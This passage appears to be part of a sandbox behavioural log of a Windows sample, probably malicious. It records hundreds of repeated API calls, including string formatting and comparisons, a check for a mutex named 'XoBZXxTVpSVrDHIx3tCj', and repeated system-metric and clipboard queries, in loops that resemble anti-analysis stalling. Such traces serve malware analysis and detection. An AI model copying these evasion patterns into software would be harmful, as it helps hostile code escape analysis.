returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.482] GetLastError () returned 0x2 [0031.483] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x274)) [0031.483] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.483] GetTickCount () returned 0x17647 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="%d" | out: param_1="18095815") returned 8 [0031.483] lstrlenA (lpString="18095815") returned 8 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.483] GetLastError () returned 0x2 [0031.483] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x274)) [0031.483] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.483] GetTickCount () returned 0x17647 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="%d" | out: param_1="18095815") returned 8 [0031.483] lstrlenA (lpString="18095815") returned 8 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.483] GetUserDefaultLangID () returned 0x409 [0031.483] GetCurrentProcessId () returned 0xb44 [0031.483] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.483] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.484] GetLastError () returned 0x2 [0031.484] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x274)) [0031.484] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.484] GetTickCount () returned 0x17647 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="%d" | out: param_1="18095815") returned 8 [0031.484] lstrlenA (lpString="18095815") returned 8 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.484] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.484] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.484] GetUserDefaultLangID () returned 0x409 [0031.484] GetCurrentProcessId () returned 0xb44 [0031.485] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.485] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.485] GetUserDefaultLangID () returned 0x409 [0031.485] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.485] GetLastError () returned 0x2 [0031.485] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x274)) [0031.485] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.485] GetSystemMetrics (nIndex=25) returned 0 [0031.490] CountClipboardFormats () returned 0 [0031.490] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.490] GetFocus () returned 0x0 [0031.490] GetSystemMetrics (nIndex=25) returned 0 [0031.490] CountClipboardFormats () returned 0 [0031.490] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.490] GetFocus () returned 0x0 [0031.490] GetSystemMetrics (nIndex=25) returned 0 [0031.490] CountClipboardFormats () returned 0 [0031.490] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.490] GetFocus () returned 0x0 [0031.490] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.491] GetFocus () returned 0x0 [0031.491] GetSystemMetrics (nIndex=25) returned 0 [0031.491] CountClipboardFormats () returned 0 [0031.491] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.492] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.492] GetFocus () returned 0x0 [0031.492] GetSystemMetrics (nIndex=25) returned 0 [0031.492] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.493] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.493] GetFocus () returned 0x0 [0031.493] GetSystemMetrics (nIndex=25) returned 0 [0031.493] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.494] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.494] GetFocus () returned 0x0 [0031.494] GetSystemMetrics (nIndex=25) returned 0 [0031.494] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.495] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.495] GetFocus () returned 0x0 [0031.495] GetSystemMetrics (nIndex=25) returned 0 [0031.495] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] 